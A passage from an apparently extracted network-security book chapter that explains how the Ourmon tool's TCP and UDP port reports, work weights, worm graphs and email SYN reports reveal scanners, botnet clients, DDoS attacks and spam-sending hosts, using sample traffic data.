running a Web server (or something) at port 80. A value of\n10 typically means that a system is multithreaded and has multiple\nports open for sending packets.This is typical of Web clients, peer-to-\npeer clients, and some kinds of malware where multiple threads are\nused for scanning.\n■\nip dst Due to space limitations, this field is not pictured in Table\n7.3. Ourmon samples one IP destination address in TCP packets sent\nfrom the host in question. Why? Because sometimes one host is the\ntarget of many remote attacking hosts, and this will let you see that\nparticular phenomenon. Often this field is not useful, but sometimes\nwith some kinds of attacks it could be highly useful indeed.\n■\nsnt/rcv These are counts of all TCP packets sent and received by\nthe host during the sample period. Note how with 10.59.153.150 in\nTable 7.3, packets are only sent and not received.This is another clue\nthat the host in question is a scanner.\n■\nsdst/total This field is also not shown due to space limitations.The\nsdst count gives the total number of packets captured in port signa-\nture sampled ports.The total count gives the total number of TCP\nsent by the IP host.Taken together, they give some idea of how well\nthe sampled destination ports in the port signature caught packets\nsent by the host. If sdst/total is a low number, that means the IP host\nwas sending packets to many ports.\n■\nport signatures Ourmon samples 10 destination ports in packets\nsent by the host and counts packets associated with those ports.The\nreason for doing this is that some types of scanners (typically malware\nof various forms, including botnet malware) will have a fixed set of\nattacks and will send packets only to a certain limited set of ports.\nFor example, bots of the past have targeted Microsoft file share ports\nlike 139 and 445 for many kinds of exploits. In the 30-second port\nreport, this information is presented as a sorted list of ascending\nports. Each port is also paired with a frequency count. For example, if\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n261\n" }, { "page_number": 280, "text": "you had a host that was sending half its packets to port 139 and the\nother half to port 445, you would see a port signature like this: [139,\n50] [445,50]. In other words, 50 percent go to each port. Notice how\n192.168.153.150 and 192.168.153.151 in Table 7.3 are sending\npackets to ports 139 and 445. However, other ports are in the port\nsignature as well.This could be due to a Web-based client running\nalong with a bot, or it might be due to the bot itself using the Web\nsomehow. We do not know.The port signature as a field is important\nenough that we named the entire report after it.\nWARNING\nPorts are tricky. In some sense, they are both useful and useless. They\nare useful in that innocent applications use them all the time. For\nexample, ports 80 and 443 are used by Web servers and Web clients to\naccess the Web servers. On the other hand, malware could choose to\nuse a well-known port for an IRC command and control connection\n(like port 80). Or an employee at work trying to hide use of a P2P\napplication like BitTorrent might run it on port 80. Always remember\nthat spoofing is possible. Typically, benign systems do not spoof, of\ncourse. \nAnalysis of Sample TCP Port Report\nNow let’s go through the small set of IP addresses in our port report and ana-\nlyze them. Remember that our addresses are sorted in ascending order and\nthat 192.168 addresses belong to the home network.\n10.0.0.1\nThe R flag indicates RESETS are coming back.The work weight is 100 per-\ncent. L3D/L4D indicates this host is talking to many local hosts at only one\nport. One destination port is the target (port 5900).This is a scanner, plain\nand simple.At this point if you don’t know what is going on, use a search\nengine and search on TCP port 5900. In this case we can rapidly learn that\nport 5900 is associated with a the Virtual Network Connection (VNC) appli-\nwww.syngress.com\n262\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 281, "text": "cation, and some version of it must have a bug as a hacker or a bot is looking\nfor hosts to attack using a VNC exploit.Another possibility is that it might be\nused on hacker boxes and represent some sort of backdoor port.The network\nauthorities might want to make sure port 5900 is protected in some manner.\n10.10.10.10\nHere we have a false positive, most likely.The H flag means a Web source port\nwas seen, and sure enough, L3S/src shows one source port, port 80. SA/S is\nalso 100 percent, which indicates a likely server.The port signature itself has\nrandom high ports in it which suggests dynamically allocated client ports.\nWeb servers sometimes do show up in the basic port report. Of course, the\nstrongest thing we can say here is that the work weight itself was only 17 per-\ncent.Therefore it is low and not worrisome. We know from statistical studies\ndone at PSU that work weights fall into two clumps.Typically they range\nbetween 0 and 30 percent or are greater than 70 percent.The former, when\nnonzero, can indicate hosts with multithreaded applications that open multiple\nthreads for efficiency but unfortunately have a high ratio of TCP control\npackets to data packets (this includes Web servers and P2P clients on hosts). If\nthe number is above 70 percent for several instances of the TCP port report,\nyou probably have a scanner, although it is always possible to have a client that\nhas some sort of problem (like no server). We will say more about false posi-\ntives in a moment.This is a Web server.\n10.59.153.150\nHere we instantly know that we have a bad one. Why? Because it has a P for\nthe application flags, meaning that it is sending packets into our darknet.\nEWOM flags indicate (especially M) that packets aren’t coming back. One-\nway TCP is not how TCP was intended to work (TCP is for dialogues, not\nmonologues). Interestingly enough, we also have 100 percent for the work\nweight and 100 percent for the SA/S value.This tells us the interesting and\ncurious fact that more or less all the packets being sent are SYN+ACK\npackets. Some scanning uses SYN+ACK packets to get around older IDS sys-\ntems that only detect SYN packets but assumed SYN+ACK packets came\nfrom TCP servers. Note that port 445 is the target (which is often the case).\nThis is a scanner and could easily be part of a botnet mesh, too.\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n263\n" }, { "page_number": 282, "text": "192.168.153.150\nThis IP and the next IP are local and are on the same subnet.As it turns out,\nboth of these hosts belong to “Case Study #3: Botnet Client.”These two\nhosts are infected with a botnet client and have been remotely ordered via the\nIRC connection to scan for exploits. Sure enough, the port signature shows\nthat a large percentage of the packets on those hosts are being directed toward\nports 139 and 445. 192.168.153.150 has a P, so it has been scanning into the\ndarknet. Its work weight is 94 percent, too, which is too high.\n192.168.153.151\n192.168.153.151 is also part of Case Study #3 and is scanning in parallel with\nthe previous host. It is possible that one of these two hosts infected the other\nhost. In this case the application flag has an I, which indicates IRC.This is\noften not an accident with a scanning and attacking host. It indirectly indi-\ncates the IRC channel used for controlling the botnet. Of course, IRC is\noften used for benign reasons, too, but not in this case.\n192.168.160.1\nOur last host is another example of a possible false positive that we see on our\ncampus. Here we have a host that is using a Gnutella application of some sort.\nThe G in application flags indicates Gnutella.The work weight is low here,\nalthough Gnutella can have high work weights at times.The L3D/L4D values\nare very common for P2P using hosts because they are both high. In some\nsense this is the definition of peer to peer.A host talks to many other hosts\n(IP destinations) at possibly many TCP destination ports.The snt/rcv value is\nalso interesting as it is both high and evenly distributed between packets sent\nand received. We say P2P hosts may be a false positive, but they might be\nwhat you wanted to catch anyway.This depends on whether the local security\npolicy allows P2P or not.\nTIP\nSome things to remember about the TCP port report.\n1. You may be viewing an attack in parallel. Say, for example,\nthat you have 2000 hosts in it, all with a port signature of\nwww.syngress.com\n264\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 283, "text": "port 25. his is probably a remote botnet that has been\nordered to scan your network for possible open e-mail\nproxies. This can very well be the explanation for the spike in\nthe TCP worm graph in Case Study #2 in the previous chapter.\nIn Chapter 9 we will explain how to make this correlation.\n2. Sorting by IP address gives us the ability to see multiple\ninfected hosts in an IP subnet.\n3. Sorting the destination TCP ports gives us the ability to see\npatterns in scans initiated by malware. We may be able to see\nthat a set of hosts are under the same remote control or pos-\nsibly have the same malware program. \n4. Our IRC report engine (next chapter) uses the TCP work\nweight to determine if there are too many attacking clients in\na sick IRC channel. If so, it places the IRC channel in its evil\nchannel list. \nTCP Work Weight: Details \nIn this section we will briefly talk about a few aspects of the TCP work\nweight. It is the most important statistical measure in the port report, and we\nneed to discuss how it is computed and what can seemingly go wrong with\nthat process.\nFirst of all, let’s look at how the work weight is computed.The rough\nequation for the work weight for one IP host is:\nwhere:\n■\nSS is the total number of SYNS sent by the IP during the sample\nperiod.\n■\nFS is the total number of FINS sent by the IP during the sample\nperiod.\n■\nRR is the total number of TCP RESETS returned to the IP during\nthe sample period.\n■\nTP is the total number of TCP packets, including control and data\nsent and received by the host, during the sample period.\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n265\nTCP work weight = SS + FS + RR\nTP\n" }, { "page_number": 284, "text": "Roughly one easy way to understand this is that we are comparing the\nnumber of control packets to the count of all packets sent. If it is 100 percent,\nthat means all control packets were sent, which means either the client/server\nTCP protocol is broken or somebody is doing some sort of scan. We do some\nfunny things like put RESETS into the denominator so that if a host attacks\nwith data packets and only gets RESETS back, it will still have a nonzero\nwork weight.\nIn the time we have used the TCP work weight, we have noticed several\nkinds of anomalous hosts showing up that could be considered false positives\n(benign as opposed to bad). Not everything that shows up there is a scanner.\nHosts show up in the port signature report if they are inefficient in terms of\nTCP control versus data. For example, you would never see a large Web down-\nload or an FTP file exchange show up simply because there are very few con-\ntrol packets and a lot of data packets. Here are some known causes that might\nbe considered false positives for hosts showing up in the port report:\n■\nSometimes e-mail servers will show up when they are having a hard\ntime connecting to a remote e-mail server.This is because e-mail will\ntry over and over again to connect.This is its nature.This does not\nhappen with e-mail servers all the time, and ironically it could\nhappen due to e-mail servers trying to reply to spam with fake IP\nreturn addresses.\n■\nP2P clients (hosts using P2P) may show up.This is because P2P hosts\nhave to somehow know an a priori set of peer hosts with which to\ncommunicate. If that set of peer IP hosts is stale (out of date), many\nattempts to connect to them will fail. Gnutella in particular can cause\nthese sorts of false positives.This is why we flag it with an application\nflag. Some P2P applications are more likely to show up than others.\nFor example, Gnutella is more likely to show up than BitTorrent.\n■\nSome TCP clients could get unhappy when their server is taken\ndown and might “beat up” the network with SYNS trying to recon-\nnect to the server.This might be seen as a false positive or a useful IT\nindicator of a client/server connection problem.\nwww.syngress.com\n266\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 285, "text": "■\nSome Web servers might show up at times.As we saw earlier, Web\nservers are easy to spot and can be ignored.\nTCP Worm Graphs\nIn this section we are going to discuss the relationship between the TCP port\nreport and its companion RRDTOOL graph that we call the worm graph.\nRefer to Figure 6.3 from the previous chapter that shows the worm graph.\nThis is also “Case Study #2: External Scan.”\nHow does this graph work? In the ourmon configuration file, you need to\nspecify a portion of the Internet that you consider to be your home network\nor local enterprise.This is done with the following configuration syntax,\nwhich tells the system that subnet 192.168.0.0/16 is home and the rest is the\nInternet. In the worm graph, ourmon calls this “us” versus “them.”“Us”\nmeans the home subnet, of course.“Them” means the outside Internet.\ntopn_syn_homeip 192.168.0.0/16\nWhen the probe decides to put an IP address in the TCP port report, it\nsimply counts it as “us” or “them,” depending on whether or not it fits into\nthe home range.The RRDTOOL graph has three lines in it for counting: the\ntotal (us + them), us, and them. In the graph,“us” is in green, and “them” is\nin red.\nYou can see that the graph is really only graphing the number of entries\nin the TCP port report. In fact, it is more or less graphing the number of sep-\narate lines in the port report, given that one IP address gets its own line.\nHowever, we can do a little extrapolation. Barring noise from local P2P hosts\nand Web servers, which tend to be fairly consistent in numbers, we end up\ngraphing the number of scanners. Of course, not all scanners are automated\nmalware. Some scanning is done with manually invoked programs. But the\nspikes that show up in this graph are almost always due to one of two causes,\nboth botnet-related. If there is a spike, it could be due to an automated par-\nallel scan or an automated parallel DDOS attack. It’s that simple. If you have\nan infected network, in general, you can also view this graph as a trend indi-\ncator for how you are doing. Hopefully the local network indicator (us) will\ngo down over time as you somehow protect or repair individual local hosts.\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n267\n" }, { "page_number": 286, "text": "In the first case, imagine that you are looking at a TCP port report that\nexactly matches the time in the spike in the worm graph.That port report has\n2000 entries in it. Each entry more or less looks something like the entries\nlisted in Table 7.4 (we only have two lines as opposed to 2000, so imagine\nmore lines with more IP addresses from around the Internet).\nTable 7.4 TCP Port Report\nPort \nIp_src\nFlags\nWork\nSA/S\nL3D/L4D\nIp_dst\nSnt/recv\nSignature\n10.0.0.1\n(WOR)\n100\n0\n1/1\n192.168.45.12\n41/1\n[22,100]\n10.0.0.2\n(WOM) 100\n0\n1/1\n192.168.45.12\n39/0\n[22,100] \nThe important thing to notice here is that one port (probably a secure\nshell server) on one host is the target.The IP destination address is the same,\nand L3D/L4D indicates one IP and one port.This was a DDOS attack coor-\ndinated via a botnet. On the other hand, we might have data that looks like\nthe pattern shown in Table 7.5.\nTable 7.5 TCP Port Report #2\nPort \nIp_src\nFlags\nWork\nSA/S\nL3D/L4D Ip_dst\nSnt/recv\nSignature\n10.0.0.1 (WOR) 100\n0\n41/1\n192.168.45.12\n41/1\n[25,100]\n10.0.0.2 (WOM) 100\n0\n39/1\n192.168.33.2\n39/0\n[25,100] \nIn this case, given that the IP destination addresses are different and L3D\ndata shows 30 or so unique IPs swept in the sample period, we can say that\nwe have a distributed botnet scan looking for e-mail ports.\nA good question at this point is: If you have a spike, how can you find the\nTCP port report? A brutal answer is that you have to go look in the logs\ndirectory for the TCP port report and the day in question. First, note the\ntime in the graph, which is around 1:00 A.M.Then change directory to the\nport report log directory for that day as follows (this depends on the base\nourmon install directory; here we assume /home/mrourmon):\n% cd /home/mrourmon/logs/portreport/Tue\nwww.syngress.com\n268\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 287, "text": "Log files are stored with the timestamp as part of their name, which is\nboth convenient and sometimes inconvenient due to possible difficulties with\nmanipulating filenames due to the naming convention.There is one for every\n30-second period, of course. For example, you might have a name like:\nTue_Sep_19_01:01:01_PDT_2006.portreport.txt\nYou could use ls –l to look at filename lengths because typically in a case\nlike this you want the biggest file at the relevant time.You can also use pat-\ntern matching to look at various files. For example, you could use the vi\neditor as follows to look at files around 1:05 A.M.\n% vi *01:0[3-6]:*\nThis command lets you use pattern matching to look at files from 1:03 to\n1:06 A.M. In summary, an important hint is simply this: Look for the biggest file.\nIn Chapter 9, when we discuss advanced logging techniques, we will give you\na sneaky trick that simplifies this task.\nTCP Hourly Summarization\nWe have mentioned that the TCP port report has various forms, including the\n30-second TCP port report we saw earlier and a daily hourly summarization\nthat is rolled over every day at midnight for roughly a week. So, on the cur-\nrent day, you will have an hourly summarization of the port report, and you\nwill have a complete summarization for yesterday and the day before yes-\nterday, and so on.The TCP port report is extremely valuable and as a result it\ncomes with a number of different summarization forms.\nThe basic form consists of those hosts that have nonzero TCP work\nweights. Refer to Figure 7.3 and Table 7.2.There are three versions of the\nbasic port report.The first one, called portsigs unfiltered, is a summarized ver-\nsion of all the 30-second period TCP port reports for hosts with nonzero\nTCP work weights.The second version consists of those hosts who had port\n445 in their port signature field (called port 445 summarizations).This form\nexists due to the popularity of scanning against port 445 by malware.The\nthird version (work weight >=40) consists of hosts with any 30-second report\nhaving a work weight greater than or equal to 40. This report gives you only\nhosts with high work weights.The p2p summarization consists of only those\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n269\n" }, { "page_number": 288, "text": "hosts having P2P application flags like BitTorrent, Gnutella, or IRC.The syn-\ndump summarization is aimed at all home IP addresses that have done any non-\ntrivial traffic and can be a fairly complete summary of all local hosts.The TCP\nwork weight is not used as a filter with the syndump summarization report.\nWe also talk about the e-mail summarization but it is a special topic dealt with\nlater in this chapter. It is worthwhile to know that the format in these reports\nfor individual hosts is pretty much the same. Note that the summarization\nused in the TCP port report represents a very extreme form of statistical\naggregation. Essentially all the TCP traffic for one host has been summarized\nin a few terse lines.\nWhen you look at the various summarization versions, it is important to\nunderstand that the sets of IP addresses in the summarizations are sorted in\npotentially different ways. For example, the summarization entitled portsigs\nunfiltered is sorted by instance count. Instance count simply means how many\ntimes ourmon saw the particular IP address during the summarization period\nof today or yesterday, and so on. Each 30-second report can at most represent\none instance. If a scanner shows up for 100 instances, that means the IP in\nquestion spent 50 minutes scanning. It also means that the IP address is in 100\nport report files.\nThe IP addresses in some files (like the syndump summarization) are sorted\nby total TCP packet count. This lets you determine who the top talkers were,\nat least in terms of packets.\nNow let’s look at the individual entry for one of the bot clients in Case\nStudy #3. First let’s look at the data and then we will explain the format.\nTypically for something like this we look in the syndump summarization\nbecause we can be sure local hosts will show up there. So let’s look at an\nexample taken from a daily summarization, discuss the fields in turn, and then\nexplain how this particular entry was interesting in terms of our case history.\n192.168.153.150 EWO\nIP\n(70:88:98)\n0:\n(1272/9) (4021:37:0) (4317:407)\ndns: craig.schiller.pdx.edu\n:24: Tue_Sep__5_19:34:36_PDT_2006: Tue_Sep__5_21:54:36_PDT_2006:\nportuples[10]: [445 72596] [139 24513] [80 5186][5000 608] ***\nWe will take these a line at a time. For line one, we have the following\nfields:\nwww.syngress.com\n270\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 289, "text": "■\nIP address.\n■\nFlags; the flags field from all the 30-second instances are ORed with a\nlogical OR.\n■\nApp flags; application flags from all instances are ORed together.\n■\nWork weights; the TCP work weight is presented as a (minimum,\naverage, maximum).The average is computed over all the 30-second\ninstances. Minimum and maximum simply represent the minimum\nand maximum seen over all instances\n■\nThe SA/S field is an average across all instances (as are all the\nremaining fields on this line).\n■\nThe L3D/L4D fields give the number of unique IP address and\nunique TCP destination ports as averaged across instances.\n■\nSYN/FIN/RESET; SYN, FIN, and RESET counts are averaged\nacross all instances.\n■\nSnt/rcv; total packets sent and received are shown as averages.\nSo for line 1, what can we say about our bot client? The application flags\nfield with the value of I for IRC and P for darknet means that the host used\nIRC and scanned into the darknet.The work weight average is high.And in\ngeneral the box is scanning with SYNS aimed at unique IP addresses.\nFor line 2, we have the following field:\n■\nDNS name; this is the resolved DNS name. DNS names don’t always\nresolve, of course, but given that the report in this case is computed\nover hours, we can take the time to try to resolve them.\nFor line 3, we have these fields:\n■\nInstance count is the count of separate port report files in which the\nIP address appeared. Divide by two to get the total number of min-\nutes for the host in question.The time here is not necessarily con-\ntiguous time.\n■\nFirst timestamp is the timestamp for the first port report that\nincluded the host.Timestamps are often useful for IT organizations\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n271\n" }, { "page_number": 290, "text": "looking at DHCP, router, or switch logs to determine when a host\nappeared on the network.\n■\nLast timestamp is the timestamp for the last port report that included\nthe host.\nLine 4 consists of a special sorted version of the port signature field.This\nline takes all the destination ports seen and their associated packet counts and\nsorts the ports by the packet counts. It then prints the ports to show you the\nbusiest ports for the host.The packet counts are not averaged out in terms of\nfrequency.The numbers represent the total packet counts seen added together\nacross all the individual reports. In this case we can see that the popular ports\nwere 445 and 139. This is because those ports were targets of scan probes\nlooking for potential victims for exploits coded into the bot client.\nAs a graduation exercise, let’s look at one more example taken from a syn-\ndump summarization. What would you conclude about this host statistic?\n192.168.2.3\n()\n()\n(0:0:35) 0:\n(5/1) (7:10:0) (317:407)\ndns: dhcpclient.verydull.somewhere.edu\n:162: Wed_Sep_20_10:12:35_PDT_2006: Wed_Sep_20_12:02:09_PDT_2006:\nportuples[2]: [80, 52540][554, 227]\nThis is “Joe Average” host.There are no flags or application flags for this\nhost.There is nothing very exciting about the average work weight (0) or the\nSA/S average (0). Probably a Web client was used to surf Web servers at\nremote port 80. Port 554 is used for real-time streaming, so some video or\naudio was involved.The average work weight is low. SYNS and FINS are\nclose. More packets were received than were sent. In summary, this is probably\njust someone using the Web.\nUDP Anomaly Detection\nIn this section we take a brief look at UDP-based anomaly detection. Most of\nour recent efforts have been on TCP because that is where the majority of\nsecurity exploits seem to lie.This is not to say there have not been UDP-\nbased exploits or UDP-based DOS attacks.The famous SQL-slammer was\nsuch a case; it contained a complete machine program in one UDP packet\nwww.syngress.com\n272\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 291, "text": "payload that exploited a SQL server and created a fearsome Internetwide flash\nstorm in just a few minutes.\nHere we are going to briefly look at two ourmon facilities for watching\nfor UDP anomalies.The first is the UDP port report, which, like the TCP port\nreport, is collected every 30 seconds. On the main Web page, the UDP port\nreport is called udpreport.txt.The second UDP facility is the RRDTOOL-\nbased UDP weight graph, and it is called the top udpreport weight graph on the\nmain Web page.There is no UDP summarization at this time. In Chapter 9\nwe will tie UDP anomalies to the event log and ourmon’s automated packet\ncapture feature, so we will return to the UDP case history that we present\nhere one more time. For reference purposes, let’s call this “Case Study #5:\nUDP Scan.”\nFirst let’s look at one example of a UDP-based DOS attack that is coming\nfrom the outside.There are a number of ways that we might spot that this\nattack happened, including looking at the ourmon system event log, or per-\nhaps looking at the fundamental packets graph (as in Case Study #1) because\nit is often the case that a well-connected host can put a spike in that graph, or\nas in this case we could look at our UDP weight graph itself.The UDP\nweight graph gives us an RRDTOOL picture of recent UDP anomalies.\nYou’ll note that in Figure 7.4 there was a large spike at 12:40 or so during\nthe previous day.\nThe UDP weight graph graphs a metric called the UDP work weight. So as\nwith TCP and its port report, there is also a UDP port report and per IP host\nUDP work weight. In the UDP port report, for each UDP host address we\ncompute a UDP work weight based on a 30-second packet count.The work\nweight is computed more or less as follows:\nUDP ww = UDP packets sent * ICMP errors returned\nTIP\nOne of the major differences between the TCP and UDP work weights is\nthat TCP has control packets for starting, ending, and terminating con-\nnections (SYNS, FINS, and RESETS). TCP’s control packets are typically\nabused by scanners. UDP has no control packets and data flows may in\nfact be one way. As a result we use ICMP error messages like “ICMP port\nunreachable” with the UDP work weight to help catch network errors. \nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n273\n" }, { "page_number": 292, "text": "Figure 7.4 UDP Weight Graph\nIf a host sends a lot of UDP packets fast and they cause common ICMP\nerrors like destination host unreachable (used by UDP but not TCP as TCP\nuses RESET packets), a high UDP work weight will be earned. Informally\nthis means that the Internet found what you were doing to be in error.These\nsorts of events are often associated with DOS attacks or with UDP-based\nscans like Internet SPIM probes, which are scans sent to many local IP hosts.\nSPIM is spam for Internet Messenger applications. SPIM is something that\ncan be done by bots as well and can be viewed as a form of adware. Every 30\nseconds the graph adds the current highest work weight from all the UDP\nwork weights in the UDP port report to the right side. So, like all the RRD-\nTOOL graphs, this graph moves from right to left.Assuming we want more\ndetails, we need to try to find the 12:40 or so report in our logs directory. In\nthis case we look in /home/mrourmon/logs/udpreport/Tue.\nNow let’s assume we found the correct UDP port report and we need\nonly glance at the top entry (see Table 7.6).\nTable 7.6 UDP Port Report\nIp src:\nWeight:\nUdp_\nUdp_\nsent:\nrecv:\nUnreachs: L3D/L4D Appflags:Port_sig\n10.16.208.23 38386361\n88261\n0\n2293\n4322/2\nPs\n[1025,50]\n[1026,50]\nGiven that our normal top entry in the UDP port report has an average\nwork weight of less than 10000, this one does seem to be interesting.The\nUDP work weight is around 380 million. So the aggressor sent 88k UDP\nwww.syngress.com\n274\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 293, "text": "packets and none were returned during the sample period. However, it got\nback about 2k UDP errors. Earlier we oversimplified our UDP work weight\ncompute equation. We actually weight the ICMP errors in such a way that if\na host receives ICMP errors, it will get a higher work weight. We show pings\ntoo if any, but we left that field out of the example due to space limitations.\nWe show unique IP destination and UDP port destination counts as with the\nTCP port report.This shows that the host sent packets to 4k local hosts (a\nlot) at only two ports. It’s clearly a scanner of some sort. We also have a few\napplication flags (not many). P means that packets were sent into the darknet,\nand s is a built-in ourmon signature for identification of some forms of\nSPIM. Our port signature mechanism is completely the same as with the TCP\nport report. Here we see that half the UDP packets were sent to port 1025\nand the other half were sent to port 1026. In the past, one type of IM appli-\ncation listened to these ports, and that is why they were the target.\nTIP\nBy the way, it’s not that convenient to take an approximate time in the\ngraph and somehow find the logged UDP port entry in a short time. In\nChapter 9, when we learn about the event log and automated packet\ncapture, we will learn some easier techniques for finding useful infor-\nmation from the UDP port reports. \nDetecting E-mail Anomalies\nIn this section we take a brief look at detecting e-mail anomalies. We do this\nwith a slightly modified TCP port report called the email syn port report. If you\nlook back at Figure 7.1 you can find the 30-second version of this report in\nthe security jump table.There is also a daily summarization in the summariza-\ntion section.The goal of the e-mail syn report is to tell you which IP hosts\nare sending the most SYN packets to start TCP e-mail connections.A box\ninfected with a spam-sending bot client tries to send large amounts of spam\nto many hosts and could incur failures.Typically such boxes are less efficient\nthan normal e-mail servers.As a result, we sort all e-mail-sending systems by\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n275\n" }, { "page_number": 294, "text": "the total number of SYNs sent and put this in a special type of report.You\nshould be able to use the daily summarization to determine which hosts are\nsending e-mail. Once you know what is normal for your site, you can ask\nyourself two questions:\n1. Are there new hosts sending e-mail that we didn’t know about\nbefore?\n2. Are there hosts sending e-mail that seem to fail a lot?\nThe second question here should be taken with a large grain of salt. E-\nmail, more than most applications, is failure prone. E-mail servers try over and\nover again for days at a time before they give up. On the other hand, it could\nmean something significant if a host sending e-mail never succeeds. In that\ncase, you might simply have a communication or configuration problem that\nneeds to be addressed. For example, one concrete problem we have seen are\noff-campus e-mail servers trying to talk to a campus e-mail server via a DNS\nname, where the DNS name exists but the host itself is gone and is never\ncoming back. On the other hand, normal e-mail servers are not likely to\nalways fail. Furthermore, they will typically not try to make as many connec-\ntions as a spam-sending system.\nThe port report is a little different in both the 30-second and summa-\nrized versions because for each host ourmon computes an e-mail-specific\nTCP work weight. Usually the work weight is for all the applications on a\ngiven host. In this case it is e-mail port-specific for a given host.The e-mail\nports are defined as 25 (SMTP), 587 (submission), and 465 (secure SMTP).\nPut another way, there is a second e-mail packet-only work weight computed\nin the same fashion as the normal TCP work weight. We also count all e-mail\nSYN packets. Let’s take a quick look at the data formats to see how they\ndiffer. First we look at the 30-second report (see Table 7.7) and then we look\nat the summarization. We will only look at one data example in both cases.\nThis system is a normal, busy e-mail server on our campus.\nwww.syngress.com\n276\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 295, "text": "Table 7.7 Normal E-mail Server: Thirty-Second View\nPort \nIp_src\nEsyn/eww\nWork\nSA/S L3D/L4D Ip_dst\nSnt/recv\nSignature\n192.168.1.1\n26/5\n5\n10\n21/1\n10.46.3.2 411/345\n[25,100]\nThe only real difference in the e-mail syn report is the esyn/eww field,\nwhich gives 26 e-mail syns in the last 30 seconds and a computed e-mail-spe-\ncific work weight of 5.The system work weight happens to be the same here\n(not always the case). Not surprisingly, port 25 was the target for all packets.\nIn our experience the SA/S value tends to be low, probably due to mail\ntransfer agent (MTA) hosts spending more time trying to connect than actu-\nally being servers. E-mail servers spend a lot of time as TCP clients talking to\nsome other e-mail servers somewhere else.They try hard to connect over and\nover again, often for days at a time, so they are really clients, too. Here’s the\nsummarization across the logs for one day for the same host:\n192.168.1.1\nWORM\nHE\n(\n0: 26:100:)\n0: (9/1) (10:3:0) (193:130)\ndns: big.email.pdx.edu\n:1344: Fri_Oct__6_00:00:50_PDT_2006: Fri_Oct__6_11:14:09_PDT_2006:\nemail: syns: 13238, synavg: 9, wwavg: 28\nportuples[10]: [25, 239692][80, 20492][53, 47][1550, 9]***\nThe only thing that’s different here from the normal TCP port report\nsummarization is that there is an extra line (line 4) that is specific to e-mail\nSYN statistics. Line 4 gives the total number of SYNS seen across 1344\ninstances (13238). It gives an average SYNS per period of 9 and an average e-\nmail work weight of 28.This is a portrait of an honest e-mail server. We\nshould point out that in terms of most network applications, e-mail is pretty\nslow and has a lot of retries.There is also not really a lot of information\nexchanged in terms of packets compared to other bigger-volume applications\nlike the Web, FTP, or multimedia downloads (video).You personally might\nfeel like you get a lot of spam, but in terms of data it is not significant com-\npared to other Internet applications.\nNow let’s turn and look at an instance of a real infected host on campus\nthat was trying to make external spam connections.The host was blocked by\na border router and was not allowed to try to connect to port 25.This\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n277\n" }, { "page_number": 296, "text": "example is a summarization and should be compared to the previous summa-\nrization for 192.168.1.1.\n192.168.1.2\nWOM\nE\n(53:99:100:)\n0: (119/1) (249:0:9) (249:0)\ndns: spammy.host.edu\n:1271: Mon_Nov__26_00:00:54_PDT_2006: Mon_Nov__26_10:40:04_PDT_2006:\nemail: syns: 316496, synavg: 249, wwavg: 100\nportuples[1]: [25, 132850],[54273,12] (more)\nIf you compare the e-mail line for the real mail server (which happens to\nbe the biggest mail server on our campus) with the infected host, you can\neasily see that the infected spam-sending host is trying to do more work. Its\ne-mail work weight (wwavg) is 100 percent simply because it is blocked get-\nting out by a router.The anomaly here is truly large and easy to spot.\nAlthough spam prevention is beyond the scope of this chapter, there are\ncertain useful policies that can certainly be of assistance.We suspect our most\nimportant spam prevention strategy for outward bound traffic is blocking e-mail\nports for dynamic IP ranges.We only allow certain boxes on campus to send e-\nmail. See the Spamhaus FAQ at www.spamhaus.org for more information.\nwww.syngress.com\n278\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 297, "text": "Summary\nThis chapter is concerned with the anomaly detection parts of ourmon and\nhow you can understand them. We first looked at the ourmon Web interface\nso that we could learn how to navigate it and find the important graphs and\nreports concerned with anomaly detection. For TCP we have the TCP port\nreport and the worm graph. We also have the daily TCP port report summa-\nrization, which comes in a number of different forms. For UDP we have a\nUDP port report and a UDP work weight graph. For e-mail we have a varia-\ntion of the TCP port report that focuses only on systems sending e-mail\nacross the Internet.\nThe bottom line here is that anomaly detection tools do not need to\nchange if a spammer changes the text of a spam message or if a new worm or\nbot is introduced to the world.They can still detect abnormal uses of the\nInternet, including DDOS attacks and scanning. We can criticize these sorts\nof tools too because they do not detect an infected system before an attack\noccurs. Still, they do not suffer from the zero-day problem (the day before\nyou have a virus signature for a new virus).\nIn the next chapter we will look at how the TCP port report’s work\nweight can be applied to a higher-level technology that understands IRC\nmessages and can allow us to detect groups of attacking bots controlled via an\nIRC command and control channel.\nSolutions Fast Track\nThe Ourmon Web Interface\n\u0002 The ourmon main Web page has three tables at the top.\n\u0002 The first table includes an important link to a help page and a link to\na no-refresh page.\n\u0002 The second table is focused on security.\n\u0002 The third table breaks the main page into subsections, including the\nsummarization section at the bottom.\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n279\n" }, { "page_number": 298, "text": "\u0002 The main page is updated every 30 seconds.\n\u0002 The no-refresh page is identical to the main page but is not updated\nevery 30 seconds.\n\u0002 Data on the main ourmon page is recent (last 30 seconds).\n\u0002 Secondary ourmon pages typically have more data about a particular\nfilter. For example, the packets filter on the main page shows the\nRRDTOOL graph for now. Its secondary page shows all\nRRDTOOL graphs, including yearly, monthly, weekly, and daily\ngraphs.\n\u0002 Each filter section on the main page typically includes a link to a\nsecondary page as well as a main-page link to the help page\ninformation for that specific filter.\n\u0002 Hourly summarizations for the TCP report, event logs, and top N\ntalker filters are found at the bottom of the main page.\nA Little Theory\n\u0002 Anomaly detection depends on baselining of data so that you must\nfirst understand what is normal. After you understand normal, you\ncan understand 